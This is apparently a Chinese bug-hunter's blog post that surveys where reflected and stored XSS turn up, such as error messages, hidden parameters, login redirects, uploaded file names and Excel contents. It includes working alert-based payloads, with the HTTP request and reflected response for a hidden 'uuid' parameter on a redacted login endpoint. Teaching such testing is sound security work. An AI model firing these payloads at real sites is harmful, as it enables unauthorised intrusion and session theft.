XSS是owasp top10中比较重要的一类漏洞,也是我们在日常工作中常遇见的漏洞。测试XSS的原则就是有输入的地方就去试试,基于此笔者对可以触发XSS的地方做了一个简单的总结
对用户的输入在没有进行任何过滤的情况下进行了输出。在最近的测试工作中遇到的最多是输出报错信息的时候直接把用户输入的内容直接进行了输出。猜想可能由于现在对信息安全的重视,涉及到业务方面的输入数据的过滤编码已经很成熟,对一些错误信息的输出可能重视还不够大。
该漏洞的触发就是在返回错误信息的时候回返回方法名,这个方法名攻击者可以自己定义,导致触发了XSS漏洞
该漏洞的触发就是在返回错误信息的时候回返回参数,这个方法名攻击者可以自己定义,导致触发了XSS漏洞
有隐藏的参数可以实现输入即输出,后来可能出于安全原因只是把该参数进行了隐藏而并没有进行修复,导致可以FUZZ该参数,触发XSS漏洞
GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https://web.redacted.com/cgi-bin/mmwebwx-bin/webwxnewloginpage&fun=new&lang=en_GB&_=1617048847643 HTTP/1.1 Host: login.web.redacted.com Referer: https://web.redacted.com/ [...] HTTP/1.1 200 OK Connection: close Content-Type: text/javascript Content-Type: text/html; charset=gbk Cache-Control: no-cache, must-revalidate Strict-Transport-Security: max-age=31536000 Content-Length: 64 window.QRLogin.code = 200; window.QRLogin.uuid = "Ia1oZupJlg==";
仔细观察返回包发现有个参数window.QRLogin.uuid,经过比对window.QRLogin可能是固定存在的,可能存在参数uuid,然后进行下测试
GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https://web.redacted.com/cgi-bin/mmwebwx-bin/webwxnewloginpage&fun=new&lang=en_GB&_=1617048184077&uuid=test123"; alert(1); var a = " HTTP/1.1
Host: login.web.redacted.com
Referer: https://web.redacted.com/
[...]
HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript
Content-Type: text/html; charset=gbk
Cache-Control: no-cache, must-revalidate
Strict-Transport-Security: max-age=31536000
Content-Length: 61
window.QRLogin.code = 200; window.QRLogin.uuid = "test123"; alert(1); var a = "";
很明显了,存在该参数并且很明显的输入即输出,喜提一枚反射型XSS
同样在另一处中,我们通过F12查看网页源代码,全局搜索hidden,发现隐藏的参数,经过尝试同样可以触发XSS漏洞
redirectUrl为登录跳转的参数,在登录界面经常出现,也最容易存在漏洞
http://a.b.c.d/login2/login.jsp?redirectUrl=2333'"><img src=1 onerror=alert('test')>
经过不间断的渗透测试以及整改,一些大站的上传基本都是白名单上传了,只允许上传图片格式的文件,想要getshell越来越难但这并不意味这不存在漏洞了,那退而求其次也许还存在存储XSS漏洞
虽然限制上传限制的很严格,但是对上传的文件名并没有进行安全编码转换或者过滤,在展示界面进行了原样的输出,触发了存储型XSS
在网站上传地方会允许我们上传一个excel表格,然后提取excel表格中的数据进行前台展示,如果没有处理好的话同样也会存在存储XSS漏洞
当然还有别的,比如客服聊天框中之类的触发XSS漏洞,毫无目的的盲打XSS(每次看到师傅盲打总能收到cookie就留下了辛酸的泪水),其实最核心的就是看我们是否可以控制输出,控制的输出是否可以触发xss或者进行绕过触发xss,最后祝各位师傅每天都能挖到一个XSS,每天愉快的划水。